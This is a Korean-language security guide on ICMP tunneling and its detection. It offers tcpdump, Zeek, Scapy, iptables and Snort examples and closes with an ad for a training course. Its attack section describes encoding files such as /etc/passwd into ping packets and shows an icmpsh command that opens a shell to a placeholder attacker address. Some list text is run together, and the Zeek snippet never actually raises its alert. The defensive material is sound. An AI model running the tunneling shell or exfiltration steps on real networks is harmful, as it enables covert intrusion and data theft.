
ICMP 터널링, 때로는 "비밀 핑 기반 공격"이라고도 불리는 이 기술은 악성 행위자들이 명령 및 제어(C2) 트래픽이나 데이터 유출 활동을 무해한 인터넷 제어 메시지 프로토콜(ICMP) 패킷 내부에 숨기는 은밀한 네트워크 공격 기법입니다. ping 요청으로 널리 알려진 ICMP는 방화벽 및 침입 탐지 시스템의 감시 대상에서 벗어나기 때문에, IT 보안 팀에 심각한 도전 과제를 제시합니다.
이 가이드에서는 ICMP 터널링이 무엇인지, 공격자들이 이를 어떻게 구현하는지, 왜 이 방법이 회피에 매력적인지 그리고—가장 중요하게—보안 전문가와 네트워크 관리자들이 ICMP 터널 공격을 탐지하고 방어하는 방법을 설명할 것입니다. 초급 설명부터 고급 탐지까지, 실제 예시와 ICMP 터널링 활동 탐지, 모니터링 및 분석을 위한 코드 샘플을 포함하여 설명합니다.
인터넷 제어 메시지 프로토콜(ICMP)은 인터넷 프로토콜 스위트의 기본 부분입니다. 오류 메시지, 네트워크 진단, 상태 메시징에 사용되도록 설계되었습니다.
주요 정보:
ping), 목적지 도달 불가, 시간 초과 등이 포함됩니다.ping, traceroute 등), 네트워크 장치 간 오류 보고.다음 명령어를 실행하면:
ping google.com
컴퓨터는 일련의 ICMP Echo Request 패킷을 생성하고, 구글은(만약 ping을 허용한다면) ICMP Echo Reply 패킷으로 응답합니다.
ICMP 터널링은 임의의 페이로드 데이터를 ICMP 패킷 안에 캡슐화하는 기술입니다. 이 데이터는 유출되는 파일, 쉘 명령어, 심지어 전체 TCP 연결을 포함할 수 있으며, 모두 정상적으로 보이는 ping 요청이나 응답에 숨겨져 있습니다.
조직은 일반적으로 합법적인 문제 해결을 위해 주변 방화벽을 통해 ICMP 트래픽을 허용하기 때문에, 공격자들은 이 신뢰를 악용하여 숨겨진 데이터를 전달하거나 네트워크의 백도어를 만들 수 있습니다.
정의:
ICMP 터널링은 공격자가 허가되지 않은 데이터를 ICMP 패킷 내에 인코딩하여 네트워크 액세스 제어를 우회하는 은밀한 통신 방법입니다.
ICMP 터널링은 특히 Echo Request/Reply 패킷의 구조를 이용하여 추가로 숨겨진 데이터를 전송합니다.
icmpsh, ptunnel 또는 맞춤형 스크립트를 사용.일반적인 ICMP Echo Request 패킷은 다음과 같습니다:
| 필드 | 예시 값 |
|---|---|
| 유형 | 8 (Echo Request) |
| 코드 | 0 |
| 체크섬 | 6920 |
| 식별자 | 13 |
| 시퀀스 번호 | 250 |
| 데이터 | "Hello, world!" |
ICMP 터널링 공격은 "데이터" 섹션에 base64로 인코딩된 유출 데이터를 삽입할 수 있습니다.
방화벽은 일반적으로 외부와의 직접 연결(e.g. 아웃바운드 SSH, HTTP/S를 통한 유출)을 차단합니다.
하지만 ICMP는 네트워크 문제 해결을 위해 자주 허용되며, 조직 경계를 넘어 허용되는 경우가 많습니다.
고급 지속 위협(APT) 행위자들은 ICMP 터널을 사용하여 손상된 호스트를 관리하고, 명령을 전송하고, 파일을 추출합니다—특별한 네트워크 경보 없이.
다양한 공개 소스 공격 보안 도구가 ICMP 터널링을 지원합니다:
내부 위협 또는 워크스테이션의 악성코드가 민감한 파일을 조직 밖으로 훔쳐내고자 합니다.
단계:
/etc/passwd)이 분할되고, 인코딩되어 다수의 Echo Request에 숨겨짐.침투 테스터와 공격자들이 icmpsh 같은 도구를 배포:
icmpsh -t <공격자_ip>를 실행.APT 및 악성코드(특히 Backdoor.Win32.ICMPdoor)가 ICMP 터널링을 활용하여 모든 아웃바운드를 차단하고 HTTP/HTTPS—고급 보안 환경에서 지속적인 접근을 확보한 사례 보고가 존재합니다.
ICMP 터널링 탐지는 비정상적인 패턴을 식별하거나 ICMP 패킷 페이로드를 검사하는 데 달려 있습니다.
ICMP 트래픽을 검사하는 데 자주 사용되는 패킷 캡처 도구.
# 모든 ICMP 트래픽 캡처, 자세한 출력
sudo tcpdump -n -v icmp
의심스러운 출력 예시 (생략됨):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
주의: 1024바이트는 일반적인 ping ICMP 페이로드보다 훨씬 큽니다!
그래픽 패킷 분석기입니다.
icmp내장된 ICMP 스크립트를 포함한 강력한 네트워크 보안 모니터링 도구.
비정상적인 ICMP 페이로드를 기록하는 스크립트:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# 큰 페이로드에 대해 로그/알림 전송
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Bash 예시: 모든 아웃바운드 핑 페이로드 기록.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Python 예시: 비정상적인 ICMP 페이로드를 위해 pcap 분석
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
ICMP 터널 악용을 선제적으로 사냥하기 위해 정기적인 스캔과 이상 탐지가 필수적입니다.
ELK 스택, Zeek, Wireshark 등의 도구를 이용하여:
실시간으로 가장 큰 ICMP 패킷 찾기:
sudo tcpdump -ni eth0 icmp and greater 200
덤프의 패킷 크기 목록화:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: 큰 페이로드를 가진 echo 요청 보고하기
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
예시: iptables로 아웃바운드 ICMP 차단
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Snort 룰 예시:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
연구에 따르면 무상태 모니터링—ICMP 패킷의 흐름과 크기를 추적, 상태나 순서를 따지지 않음—은 터널링을 감지하는 저영향 및 확장 가능한 방법이 될 수 있습니다.
Singh & Nordström의 연구에 따르면, 무상태 모델은 대규모에서도 엔드 호스트나 라우터에 크게 영향을 주지 않고 비밀 채널을 효과적으로 표시할 수 있습니다.
ICMP 터널링은 합법적인 네트워크 운영에 자연스럽게 융화되는 저속 위협으로, 파란 팀(Blue Team)에게 탐지 및 방어의 어려움을 야기합니다. ICMP가 진단을 위해 널리 사용되고, 조직들이 이러한 트래픽을 방화벽을 통해 자주 허용하기 때문에, 이는 공격자가 비밀리에 명령 및 제어를 설정하고 민감한 데이터를 유출하며 손상된 호스트에 접근하는 데 선호하는 수단입니다.
네트워크의 합법적인 ICMP 활동을 기준으로 설정하고, 서명 및 이상 기반 탐지를 모두 적용함으로써, 조직은 데이터 손실이나 추가 손상으로 이어지기 전에 이 은밀한 위협 벡터를 무력화할 수 있습니다.
여러분의 경계를 안전하게 유지하세요—하찮은 ping을 무시하지 마세요!
이 콘텐츠가 유용하다고 생각하셨다면, 저희의 포괄적인 47주 엘리트 교육 프로그램으로 무엇을 달성할 수 있을지 상상해 보세요. Unit 8200 기술로 경력을 변화시킨 1,200명 이상의 학생들과 함께하세요.